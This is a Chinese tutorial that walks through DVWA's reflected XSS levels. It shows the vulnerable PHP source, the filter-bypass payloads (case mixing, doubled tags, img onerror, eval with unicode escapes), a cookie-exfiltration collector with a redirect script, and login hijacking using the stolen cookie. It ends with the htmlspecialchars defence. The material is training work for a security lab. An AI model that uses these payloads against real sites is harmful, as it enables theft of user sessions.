一)XSS(Reflected)介绍:
     
    
   
反射型xss(非持久型):需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。特点:弹窗警告、广告;javascript;在浏览器中执行。
通过Web站点漏洞,向客户交付恶意脚本代码,实现对客户端的攻击;恶意攻击者往Web页面里插入恶意的 Script 代码,当用户浏览该页面时,嵌入其中 Web 里面的 Script 代码就会被执行,从而达到恶意攻击用户的目的;注入客户端脚本代码、盗取cookie、重定向等。
    
     
      二)实际中实现流程:
     
    
   
1)攻击者向服务器端注入一段js代码
2)服务器端响应攻击者一个带有js代码的页面
3)攻击者向普通用户发送带有js代码的页面,诱使用户点击页面
4)用户点击攻击者所发送的页面,页面自动运行js代码,获取用户cookie,并发送给攻击者
    
     
      三)实际操作:
     
    
    
    正常输入一个用户名:
    
    
    
     DVWA——XSS(Reflected)——low
    
   
核心源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
源码解析:
1)array_key_exists检查数组中是否有指定的键名
2)X-XSS-Protection: 1强制XSS保护(如果XSS保护被用户禁用,则有用)
                     0禁用XSS保护
可以看到,low级别的代码只是判断了name参数是否为空,如果不为空的话就直接打印出来,并没有对name参数做任何的过滤和检查,没用进行任何的对XSS攻击的防御措施,存在非常明显的XSS漏洞,用户输入什么都会被执行。
    
     方法一:
    
   
    输入
    
     <script>alert('hack')</script>
    
    的结果:
   
    
    
    此时通过
    
     右键——查看网页源代码
    
    可以在网页前端代码发现刚刚输入的JS代码已经被写入了:
    
     
   
    
     方法二:
    
   
    
     1)用alert进行弹窗测试验证是否存在XSS:
    
   
<script>alert('hack')</script>
    
    
    
     结论:
    
    
     成功弹窗,说明存在XSS漏洞并且可利用
    
    。
   
    
     2)利用XSS获取cookie
    
    
    编写一个cookie.php文档用于获取页面的cookie,放置在一个指定的目录下(可以尝试放在网站的根目录之外的路径下看是否有效)文档内容如下:
   
<?php
 
  $cookie = $_GET[“cookie”];
 
  file_put_contents(“cookie.txt”,$cookie);
 
?>
接着编写 js 代码(意思就是利用本地的cookie.php这个文件获取cookie,要注意本地的地址要写对。)将页面的cookie发送到cookie.php中
1)<script>document.location="http://localhost/dvwa/cookie.php?cookie="+document.cookie;</script>
注:前面我们只是利用<script>alert('hack')</script>其实现一个简单的弹窗并没
   有进一步加以利用,此处我们构造一句JS去获取目标的cookie,
因为要将构造的要对上面的编写的JS代码进行URL转码:
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%E2%80%9Dhttp%3A%2F%2Flocalhost%2Fdvwa%2Fcookie.php%3Fcookie%3D%E2%80%9D%2Bdocument.cookie%3B%3C%2Fscript%3E#
解析:1)http://localhost/dvwa/vulnerabilities/xss_r/?name=
       ——是我们自己搭建的网站(dvwa)的XSS(Reflected)的路径。
     2)%3Cscript%3Edocument.location%3D%E2%80%9Dhttp%3A%2F%2Flocalhost%2Fdvwa%2Fcookie.php%3Fcookie%3D%E2%80%9D%2Bdocument.cookie%3B%3C%2Fscript%3E#
       ——是我们构造的JS代码(原本输入于id框中<script>alert('hack')</script>
         变成了<script>document.location="http://localhost/dvwa/cookie.php?cookie="+document.cookie;</script>
         并进行了url编码)。
    
     在实际中会将此url变换成短链接并放置到公网(或目标服务器)中,等待目标用户点击此链接,一旦目标用户点击,那么攻击者就可以获取他的cookie并将cookie保存到攻击者服务器指定路径下的cookie.txt中
    
    。
   
    在自己搭建的环境中可以直接将整个编码后的url复制粘贴到地址栏进行访问,也可以将编码后的JS代码(url的后半段)在框中输入。
    
     最终页面跳转,说明js代码执行成功
    
    :
    
    
    
    此时,当我们到phpstudy中的www目录下就会发现成功生成了一个cookie.txt文档:
    
    
    
    
     3)利用获取到的cookie登陆DVWA
    
    
    在浏览器中访问DVWA的登陆页面,然后F12搜索cookie关键字并将cookie值修改为获取到的cookie值:
   
    访问登陆页面:
    
    
    
    修改cookie值:
    
    
    
    功地利用cookie登陆了DVWA并获取了登陆身份:
    
    
    
     DVWA——XSS(Reflected)——medium
    
   
<?php
header ("X-XSS-Protection: 0")
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?> 
    
     <pre> </pre>
    
    元素可定义预格式化的文本。被包围在 pre 元素中的文本通常会保留空格和换行符。而文本也会呈现为等宽字体。
   
    可以看到,medium级别的代码只是在low级别上增加了对于
    
     <scripit>
    
    的过滤,把
    
     <script>
    
    替换为空,然而并没有什么用,我们可以直接采用以下几种方式绕过。
   
    
     方法一:
    
    
     (大小写绕过)
    
   
<sCript>alert('hack')</scRIpt>
<SCRIPT>alert('hack')</SCRIPT>
    输入
    
     <SCRIPT>alert('hack')</SCRIPT>
    
    结果:
   
     
   
    此时通过
    
     右键——查看网页源代码
    
    可以在网页前端代码发现刚刚输入的JS代码已经被写入了:
    
    
    
    
     方法二:
    
    
     (双写绕过)
    
   
<scr<script>ipt>alert("hack")</script>
<s<script>cript>alert("hack")</script>
    如果任然直接输入
    
     <script>alert('hack')</script>
    
    会发现alert语句没有被执行,因为
    
     <script>
    
    不再被当成标签而被过滤了:
    
    
    
    查看一下源代码:
    
    
    
    可以看到
    
     <script>标签
    
    已经被替换为空,但其余内容并没有改变,我们可以利用双写绕过方法,也就是把
    
     <script>标签
    
    过滤后,剩下的内容仍能组成完整的XSS语句:
    
    
    
    此时再次查看源代码:
    
    图
   
    
     方法三:
    
    
     (使用非
     
      <script>标签
     
     的其他标签)
    
   
1) <img src=1 onerror='alert("hack")'>
2) 
3) 
语句解析:只要src的值(图片)找不到就一定会发生错误,那么onerror的代码得到了执行:
图
    
     方法四:
    
    
     (关键字编码)
    
   
有些时候服务器会对代码中关键字进行过滤(如alert),我们可以尝试将关键字进行unicode编码(但是直接把编码后的语句输入是不会起作用的),再将编码后的放在eval()会将编码后的语句解码后再执行:
将alert(“D-Rose”)进行unicode编码:
 \u0061\u006c\u0065\u0072\u0074("D-Rose")
构建出来的语句如下:
<Script>eval(\u0061\u006c\u0065\u0072\u0074("D-Rose") )</scripT>
    成功弹窗:
    
    
    
     DVWA——XSS(Reflected)——high
    
   
核心源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?> 
    可以看到,high级别的代码使用了
    
     正则表达式
    
    直接把
    
     <*s*c*r*i*p*t
    
    给过滤了,
    
     *
    
    代表一个或多个任意字符,i 代表不区分大小写。
    
     所以
     
      <script>标签
     
     在这里就不能用了,但可以通过img、body等标签的事件或者iframe等标签
    
    的src注入恶意的js代码。
   
    在high等级中继续使用
    
     <script>alert(/xss/)</script>
    
    测试是否有XSS漏洞,会发现只显示 > 前面所有字符被过滤:
   
    
    
    同时尝试使用medium等级中的大小写绕过、双写绕过,发现还是所有字符都被过滤。既然在high等级中
    
     <script>
    
    标签被彻底过滤,那么我们使用非
    
     <script>
    
    标签
    
     
      img、body等标签的事件
     
    
    或者
    
     
      iframe等标签
     
    
    的src注入恶意js代码。
   
    
     方法一:
    
    
    输入
    
     <img src=1 οnerrοr=alert('hack')>
    
    结果:
   
     
   
    
     <img src=1 οnerrοr=alert('hack')>
    
    的意思是,当图片显示错误时,执行 alert(‘hack’) ,这里我们构造的的 src=1 肯定显示错误,所以执行 alert语句。
   
    
    
    此时通过
    
     右键——查看网页源代码
    
    可以在网页前端代码发现刚刚输入的JS代码已经被写入了:
   
    
    
     DVWA——XSS(Reflected)——impossible
    
   
核心源码:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?> 
源码分析:
htmlspecialchars(string): 把预定义的字符:
 "<" (小于)、 ">" (大于)、& 、''、"" 转换为HTML实体,
 防止浏览器将其作为HTML元素
    可以看出,impossible级别的代码
    
     先判断name是否为空
    
    ,不为空的话
    
     然后验证其token
    
    ,来防范CSRF攻击。然后
    
     再用htmlspecialchars函数将name中的预定义字符 “<” (小于)和 “>” (大于)转换成html实体
    
    ,这样就防止了我们填入标签。
   
    当我们输入
    
     <script>alert('hack')</script>
    
    时,因为 htmlspecialchars 函数会将 < 和 > 转换成html实体,并且
    
     ${name}
    
    取的是
    
     $name
    
    的值,然后包围在
    
     <pre></pre>标签
    
    中被打印出来,所以我们插入的语句并不会被执行:
    
    
    
    查看源代码,表单提交的过程中,把我们的
    
     user_token也一并提交了
    
    ,来和服务器端的session_token做验证,
    
     防止CSRF攻击
    
    。我们输入的代码,直接被当成html文本给打印出来了,并不会被当成js脚本执行.
    
     
   
    此时通过
    
     右键——查看网页源代码
    
    可以在网页前端代码发现刚刚输入的JS代码并没有成功的写入。
    
     
      四)参考文献:
     
    
   
 
